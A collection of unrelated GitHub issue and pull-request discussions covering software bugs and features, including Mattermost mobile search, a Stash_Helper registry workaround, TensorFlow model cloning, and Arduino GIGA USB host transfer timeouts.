basically on app/actions/remote/search.ts line 156

I tried the following to try and repro this several ways, but failed to get the error.

adding a new user (userB) and posted some text to search (xyz) in another channel that does not have userA as a member.  Then had userA perform a search for xyz.

added userC. created a post xyz @userB in a channel and that also did not create the error.

I also noticed that searching for xyz by userA will not return posts from other users in channels of which userA is not a member.

Regardless if you were able to repro or not, is very clear to me that the call for fetchPostsAuthors is missing and that can clearly cause the error (crash) seen by @avinashlng1080 , also the type is missing if you don't know how to handle this I can take over and fix both issues, but I wonder if you need help understanding parts of the codebase, specially around posts, more than happy to explain

I was going to set up a 1:1 for tomorrow, but I am out from 2pm until Monday.  Last vacation for a while, but I'm flyting to watch my niece graduate. Looks like you have an 8am tomorrow, or, I could do right now?

I was going to set up a 1:1 for tomorrow, but I am out from 2pm until Monday.  Last vacation for a while, but I'm flyting to watch my niece graduate. Looks like you have an 8am tomorrow, or, I could do right now?

Really? Oh my... then don't worry, I'll take care of this.. search (at least for messages) needs to be included in the beta release next Wed

I was going to set up a 1:1 for tomorrow, but I am out from 2pm until Monday.  Last vacation for a while, but I'm flyting to watch my niece graduate. Looks like you have an 8am tomorrow, or, I could do right now?

Really? Oh my... then don't worry, I'll take care of this.. search (at least for messages) needs to be included in the beta release next Wed

Yes. My parents were here last Friday through yesterday and now I'm meeting my brother, sister and catching up with my folks once more in North Carolina. Back on Sunday.
Thank you!
I also have https://github.com/mattermost/mattermost-mobile/pull/6366 which is changes the filter so that it queries a files based on the array of file extensions. It is ready for review.  When I get back I'll pick up on one of the items in this post https://community.mattermost.com/core/pl/in1ony6pgpn5prgngtibyx4sic

@enahum remember to revert the search tab before the next build

@enahum remember to re-enable the search tab before the next build

Ahead of this https://github.com/mattermost/mattermost-mobile/pull/6388

haha, cool, I guess the title/description mislead me 😆

haha, cool, I guess the title/description mislead me 😆
actually, isn't that disabling the search again?

Yes, search is still not ready, just partially merged thus disabled.. we can enable it as soon as is ready


⚠ Bofrost.at has degraded performance

In f4e049a, Bofrost.at (https://www.bofrost.at) experienced degraded performance:

HTTP code: 200
Response time: 1829 ms

Resolved: Bofrost.at performance has improved in 4758371 after 6 minutes.


Add preferences window

to close #2

like Alfred's preference window

I should use photon kit.
http://photonkit.com/getting-started/

I think this is not perfect, but now it's ok...


Cannot fetch webdriver

Issue
When I installed Stash_Helper v.2.4.8  I chose Chrome as my browser. Now, every time I try to run the program, I get the following error:

Program then closes.
Replication
This happens every time I try to open the Stash_Helper or Stash_Helper (x64) link. I have also tried to open it from file explorer using the AutoIt3.exe program referencing the Stash_Helper A3x file and it happens there as well.
Attempts to fix issue

Uninstalled via the included  uninstaller, the windows uninstaller, iOBit uninstaller, Glary Unitalities Uninstaller, and run Glary Utilities System cleaner as well as IOBit Advanced System cleaner (All on different installs), reboot, and reinstall Stash Helper.
Edit: It appears I missed some of the registry entries and my uninstaller programs nor registry cleaners are not as thorough as I thought. Registry keys were being left behind, explaining why the problem persists beyond reinstalls. A workaround has been found, changing the registry key to a different browser will allow me to use the program, but the problem persists if I use Chrome as the browser of choice.

Added exceptions to all Firewalls.

DISABLED all firewalls. Restarted.

DISABLED all VPNS. Restarted.

Changed Chrome to default browser.

Workarounmd
Operating Syastem
Windows 11 Pro Version	10.0.22621 Build 22621
Coments
I recently updated to Windows 11 Pro from Windows 11 Home via a clean format and reinstall. Stash Halper was working on the previous incarnation of my system.
Feature Request
Add Vivaldi as a supported browser.

Same Problem here. I also don't find a workarround. Uninstall and reinstall doesn't reset the settings.

@Reimsee I did some digging, and actually found a workaround in the Wiki. It will at least let you re-run the onbarding / First Run screen, or change the browser directly to another browser, like Firefox.
Open regedit and search for the "HKEY_CURRENT_USER\Software\Stash_Helper". Then find the "Browser" entry and delete the data in it. The restart your computer. This should cause the First Run sequence to run again, and you can change your browser. I am not sure if Chrome is still broken or not, I've been using Firefox.  Alternatively, if you have Firefox or Opera installed, you can change the data value direcly to either "Firefox" or "Opera" and it will run Stash in either of these.  I hope this helps, since it seems the developer or anyone else is monitoring this.

Agree. Right now I am not actively updating this app, because the web driver implement is quite buggy, especially for Chrome browser. When a new Chrome browser is released, the driver needs to be updated. Then people who use the old ones will have issues like this. Firefox and Edge have less problems.
I will keep this thread opened, so maybe others will see it as well.


init: 添加 EasyCrud 组件

Summary by CodeRabbit
Release Notes

New Features

Introduced multiple Vue components for enhanced CRUD functionality: ReCheckboxGroup, ReDeleteFlag, ReRadioGroup, ReSelect, ReUpload, ActionArea, EditForm, SearchForm, and Table.
Added a custom CRUD interface example with routing capabilities.

Enhancements

Improved HTTP client with automatic retry logic and better error handling.
Added system parameters management with caching for optimized data retrieval.

Documentation

Updated type definitions and interfaces for better clarity and type safety across CRUD operations.

These updates enhance user interaction and streamline data management within the application.

@coderabbitai help

@coderabbitai review


Make a copy of a model

Hi,  is there a canonical method in Tensorflow for this? For example, in Keras, we can use keras.models.clone_model for this purpose.  I though that model's copy would be such a nice feature, since copy.deepcopy does not work for me in Tensorflow.
I want to copy weights from this model to another model of identical structure,  and I do not want to save a model then restore it to another instance for this situation. Specifically, the situation at every iteration we train model1 then make model2 as a copy of current model1, adding noise to model1 parameters and sample from model2 and then use these samples to update model1.
Class Model1(object):
    def method1(self):
        ....
    def method2(self):
        ....

Thank you for your post. We noticed you have not filled out the following field in the issue template. Could you update them if they are relevant in your case, or leave them as N/A? Thanks.
Have I written custom code
OS Platform and Distribution
TensorFlow installed from
TensorFlow version
Bazel version
CUDA/cuDNN version
GPU model and memory
Exact command to reproduce

just use from copy import copy and do copy(model) instead of deep copy.

@Erichliu00 I'm not sure using copy works to solve the problem fully. If we use copy then we can't change the weights of the one model without it affecting the weights of the other model. For example:
W = tf.Variable(tf.constant(0.2))
b= tf.Variable(tf.constant(0.5))
x = tf.placeholder(tf.float32)
y = W*x+b

train = tf.assign(W, A2)
y2 = copy(y)

the train here is just to mock what happens if we have the variable changed.
init = tf.global_variables_initializer()

with tf.Session() as sess:
    sess.run(init)
    print(sess.run([y, y2], feed_dict={x:1}))
    sess.run(train)
    print(sess.run([y, y2], feed_dict={x:1}))
    y2 = copy(y)
    print(sess.run([y, y2], feed_dict={x:1}))

Prints out
[0.69999999, 0.69999999]
[1.0, 1.0]  -> This should be [1, 0.69999999] if a true copy was made
[1.0, 1.0]

So I don't know how to make a clone of a model I would love to know though... I currently have very awkward work arounds for it. If you do find out a way please let me know

@dennismckinnon ,
import tensorflow as tf
from copy import copy

v1 = tf.Variable(2.0)
v_copy1 = tf.Variable(v1)
v_copy2 = tf.identity(v1)
v_copy3 = copy(v1)
v_copy4 = v1
init = tf.Variable(0.0)
v_copy5 = init.assign(v1)

init = tf.global_variables_initializer()
sess = tf.Session()
sess.run(init)
a, b, c, d, e= sess.run([v_copy1, v_copy2, v_copy3, v_copy4, v_copy5])
print(a, b, c, d, e) # 2.0 2.0 2.0 2.0 2.0

sess.run(tf.assign(v1, 3.0))
a, b, c, d, e= sess.run([v_copy1, v_copy2, v_copy3, v_copy4, v_copy5])
print(a, b, c, d, e) # 2.0 3.0 3.0 3.0 3.0

Thus, for copying variable, one way is v_copy1 = tf.Variable(v1), for copying model, you can create two instances and inistialize the copy model's variable using such way.

@Erichliu00  Did you find the way to clone the model? or you stayed with the last solution you wrote up there, "ou can create two instances and initialize the copy model's variable using such way."?  I  have the same problem and I wanna know if there is a way to directly clone the model.

I have tried it this way:
variables = tf.trainable_variables() 		for var1 in variables: 			if "pred/" in var1.name: 				trained_var = [var2 for var2 in tf.global_variables() if var2.op.name in str.replace(var1.name, "pred/", "")][0] 				value =sess.run(trained_var) 				sess.run(tf.assign(var1, value))
For this to work I put all varaibles of the target model in the scope "pred" and the source model was in the same wider scope. By getting the value of the source via sess.run() you get the hard copy of the values and no references which can then be assigned to your target.

This seems unnecessarily difficult. Is the expectation that everyone creates their own Keras-like wrapper to try to separate sessions and make models easy to copy? Keras is the most reasonable API to Tensorflow I have seen but it seems barely supported.
In any case, Tensorflow has otherwise been great work and I realize that wasn't easy so thank you!


config.xml is not updated

Hi
When I run cordova-icon, the image files are generated but the config.xml file is not updated.
Is is normal ?
Should we edit it manually to target the generated images ?

Yes, this is normal. And you don't have to add any manual target path (in fact, ensure you do not have any).
cordova-icon generates files with good names and locations, that are automatically used when you cordova build.

Ok, I just read issue #40 and I had a previous icon tag in my xml.
I thought cordova-icon was going to add new icon tags, but you say there is no need of icon tags at all.
So I have removed my previous tag (which I added by hand), and now it seems to build just fine.
Thanx


Implement date_trunc(), date_part(), and extract()

The input will be a possibly optional SystemTime, as that is the representation for timestamps currently. Follow the documentation from data fusion for date_trunc, date_part, and extract.
The most natural place is a new variant on Expression for DateFunction(), with a corresponding DateExpression. Testing should be done by adding additional assertions to arroyo-sql-testing.

Hi @jacksonrnewhouse, I'd like to work on this and #25 if that's okay with you?

@AK-ayush, that'd be great. If you have any trouble getting your dev environment setup or figuring out some of the moving parts of arroyo-sql, feel free to reach out in the Discord.

Hello, I can also help out with this issue. @AK-ayush would you be willing to split the implementation of each function between us? I have the bandwidth to implement date_part. Thanks!!

Sure @kamalesh0406, please go ahead.

Can I move forward with this? It sees there is no pr open

@edmondop Sure you can look into it. I was only able to partially complete it and I don't think so I have the time to work on it right now :) .

Handled by #181.


Update tests.lgt

Please use descriptive commit messages in the future so that patches can be accepted. As a general rule, the files that are modified should not be listed in the commit message as that information is available from the commit itself and thus nothing to describe what changed and why. Thanks for the contribution.


June 2024 roadmap

[ ] Multiple views #16 #17
[ ] Polyfill for Windows
[ ] New UI for source/destination mappings
[ ] Renderings redesign #17 #23
[ ] Customise colours and sizes
[ ] Represent when at default
[ ] Represent epsilon [FontTools issue]
[ ] Represent an entire corner fence as one UI element
[ ] avar1 layer #14
[ ] Interpret existing avar1 and avar2 values #10
[ ] Filter mappings by dimensionality (consult with Berlow team)

Can any be checked off already?

All cool stuff. I’ll conduct a kind of survey of Fencer users and other parties interested in avar2, and work out priorities.


Changed project structure

I wasn't happy with how our project was structured. We had too many files in airbrakes/ and I didn't like how we just had the imu folder. Also, I moved constants to the same level as main because main.py uses some constants.
To review this pr, I would just go to the branch and look at the new structure.

Can you also change the path of the logs for the scripts? It should be scripts/test_logs.


weldr: add url parametr to ostree image options

This introduces an URL parameter to the OSTree image options. This is going to be required for when we introduce the installer image type. For now, we just use it as a convenience to make the parent commit optional in the ostree commit image types.
This will be used by https://github.com/osbuild/cockpit-composer/pull/1232 and https://github.com/weldr/lorax/pull/1115.
Testing is still missing for one of these commits, as well as release notes, so I'm making this a WIP.
cc @jkozol, @bcl, @gicmo and @achilleas-k
This pull request includes:

[x] adequate testing for the new functionality or fixed issue
[x] adequate documentation informing people about the change

OpenStack failed, but that is unrelated to this PR. Everything else passed.

Thanks @teg. I run test locally with rhel 8.4 nightly repo, things looks great! BTW, I'll add rt-kernel test in another PR.

OpenStack still failing, and one test failing due to seemingly hardware error in PSI:
$ dmesg --level ERR
[ 1437.697530] blk_update_request: I/O error, dev vda, sector 47447184 op 0x0:(READ) flags 0x80700 phys_seg 5 prio class 0
[ 1437.725188] blk_update_request: I/O error, dev vda, sector 47447424 op 0x0:(READ) flags 0x0 phys_seg 1 prio class 0
[ 1437.742487] blk_update_request: I/O error, dev vda, sector 47447424 op 0x0:(READ) flags 0x0 phys_seg 1 prio class 0


Improve default notification content

In screenshot is current show behaviour when downloading a region. "OfflineDownload & Downloading" content be improved by showing something region name / download speed.

We should take a similar approach the Navigation SDK uses which allows for passing in a remote view and allowing users to update the information as they wish.


GIGA R1 - USBHost issues

Hi Guys,
I have managed to get a hacked version running a Midi Host:
[USB_TRANSFER: .pio/libdeps/giga_m7/Arduino_USBHostMbed5/src/USBHost/USBHost.cpp:1100]----- BULK READ [dev: 0x24010554 - MIDI - hub: 0 - port: 1 - addr: 1 - ep: 81]------
[USB_EVENT: .pio/libdeps/giga_m7/Arduino_USBHostMbed5/src/USBHost/USBHost.cpp:274]call callback on td 0x2400161f [ep: 0x2400ffdc state: USB_TYPE_IDLE - dev: 0x24010554 - MIDI]
READ SUCCESS [64 bytes transferred - td: 0x2400161F] on ep: [0x2400ffdc - addr: 81]: 0B B0 4F 5B 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

[USB_INFO: .pio/libdeps/giga_m7/Arduino_USBHostMbed5/src/USBHostMIDI/USBHostMIDI.cpp:102] MIDI MESSAGE b, b0, 4f, 5b

Along the way I have found the following:
First issue:  Getting the configuration descriptor was not working, this was due to only a maximum of 64 bytes being returned, so any data after this was being lost.
In USBEndpoint_STM.cpp :

queueTransfer() will only call HAL_HCD_HC_SubmitRequest with a maximum size of 64.
HAL_HCD_HC_NotifyURBChange_Callback() has code on URB_DONE to call HAL_HCD_HC_SubmitRequest() to get the next packet of data, the call works but something is going wrong. We do not get another URB_DONE, so the maximum data returned is 64 bytes.

HAL_HCD_HC_SubmitRequest() can internally handle this packet splitting, you can just request all the data needed and it will work it out. I changed the code to do this and now the data is returned correctly. There is still an issue with control->ep_queue.get(TD_TIMEOUT_CTRL); timing out that I need to look into, the data is there but we get the timeout.
Second issue: The dreaded MBED_CONF_PLATFORM_CALLBACK_NONTRIVIAL=0 causing the callbacks to fail. See https://github.com/arduino-libraries/Arduino_USBHostMbed5/issues/29#issuecomment-1783933038
This was fixed by forcing MBED_CONF_PLATFORM_CALLBACK_NONTRIVIAL=1 in callback.h
So I guess the question is if the maximum size of 64 bytes is a known issue?

I have looked into the issue with the timeouts.
Basically what I was seeing was that if I had a break in the debugger, after the addTransfer() on the control->ep_queue.get(TD_TIMEOUT_CTRL) line then we got no timeout and correct data with my changes.
So here is what I was seeing:

Status is one of:
  URB_IDLE = 0
  URB_DONE = 1
  URB_NOTREADY = 2
  URB_NYET = 3
  URB_ERROR = 4
  URB_STALL =5

bulk.ctrl is a HAL_HCD_HC_NotifyURBChange_Callback() for the bulk or ctrl.
So we can see the first status we get is URB_NOTREADY after 62us.
The existing code to handle URB_NOTREADY will take this as meaning the device was not ready and will call HAL_HCD_HC_SubmitRequest90 again.
We then get a URB_NOTREADY again a little later and it does the same, this drives it all into a URB_STALL state and in the end the queue will timeout.
I'm not a USB expert in anyway but I'm a little unsure that the device can respond in 62us (and it is always around this time), I would be thinking 125us which is more around where we see the stall.
So I'm not really sure that URB_NOTREADY signifies that the device is not ready but more likely something within the HAL USB code?
So I cut out the URB_NOTREADY code as a test and we now get this:

Bingo, everything works. we get a status of URB_DONE, transferCompleted() is called and the queue.get() works. The full amount of data is available.
So it looks like the URB_NOTREADY code needs a bit of work.
I have tested all my changes with midi devices and mass storage devices and it all works.

I added a pr so you can see the code changes: https://github.com/arduino-libraries/Arduino_USBHostMbed5/pull/33

I have tested 6 midi devices here, 5 work fine.
1 has a problem and seems to require URB_NOTREADY handling, but not all the time.
I'm really not sure that URB_NOTREADY can be trusted!


Add Build Line effect

Add a new effect based on my CodePen that builds up a line from multiple falling segments.
The number of segments will be configurable.

I've implemented this based on the CodePen, but I'd like to revisit in the future to make a couple of improvements:

Use the existing line renderer functionality to get smooth lines (and hopefully simplify the renderer).
For effects where the number of LEDs isn't evenly divisible by the segment count, distribute the remainder as evenly as possible amongst the segments instead of creating one small segment at the end.


is scriptcraft still developed ?

I am thinking about coding my server in JS but I need to know if this is still developed plugin. Also if my performance will struggle much when I'll write some complex plugins with this. Thanks

I'm not 100% sure but I believe that it is no longer in development. BUT!! lucky for us it doesnt need to be updated to support future releases. if something doesnt work then just use the org.bukkit alternative.
EX: items.andesite is the same as org.bukkit.Material.ANDESITE

also ive been looking for other people who use script craft. if you have discord then you should add me.
NOUのうと#6688

I tried some of the code from the book, and half of it works as of December 2019.

BedRock edition has Javascript embedded into it...

also ive been looking for other people who use script craft. if you have discord then you should add me.
NOUのうと#6688

The Didcord Tag doesn't work.

also ive been looking for other people who use script craft. if you have discord then you should add me.
NOUのうと#6688

The Discord Tag doesn't work.

it would be this now: のうと#6688

Thanks.

also ive been looking for other people who use script craft. if you have discord then you should add me.
NOUのうと#6688

The Discord Tag doesn't work.

it would be this now: のうと#6688

Thanks.

@noutomoly ?

Thanks.

also ive been looking for other people who use script craft. if you have discord then you should add me.
NOUのうと#6688

The Discord Tag doesn't work.

it would be this now: のうと#6688

Thanks, but you set it so that I can't send you any friend requests. My Discord tag is "Nanocode The Spectator#7166".

@noutomoly ?

NOUのうと#6688

That doesn't work for me. I am sitapati#7193

@jwulf his new Discord tag is “のうと#6688”, but he blocked annonymous people from sending him friend requests.

1.14.4 doesn`t work (

1.14.4 doesn`t work (

Why do you say that?

1.14.4 doesn`t work (

Why do you say that?

Because I've tried with 1.14.4 version and its just doesn't work with a spigotPaper & spigot

@TonyGravagno Hi, yes, this project definitely provides value: bedrock provides code blocks visual coding feature out of the box indeed, however java edition is still much more popular because of mods support and better design. My kid has both licenses and switched from bedrock to java right after discovering its modding capabilities. Now I'm searching for code blocks alternative... =\


Display software components that could be enabled quickly

Software components that do not support the current platform are disabled and not shown to the user. If that is because the current operating system is not supported we cannot do anything about it. But if one just needs to install dependencies such as curl or ansible for them to function we could display them as disabled and a note on what needs to be done to enable them.

The only thing that is left to do is figure out a way to include missing Python dependencies into the platform check.
Currently, if an imported module is missing an exception is raised while parsing the component source code. This happens, for example, for the git component which relies on ansible. The exception should be caught in a way that the component can be marked as having a platform issue. At this point there is only a debug message that ansible is missing and must be installed.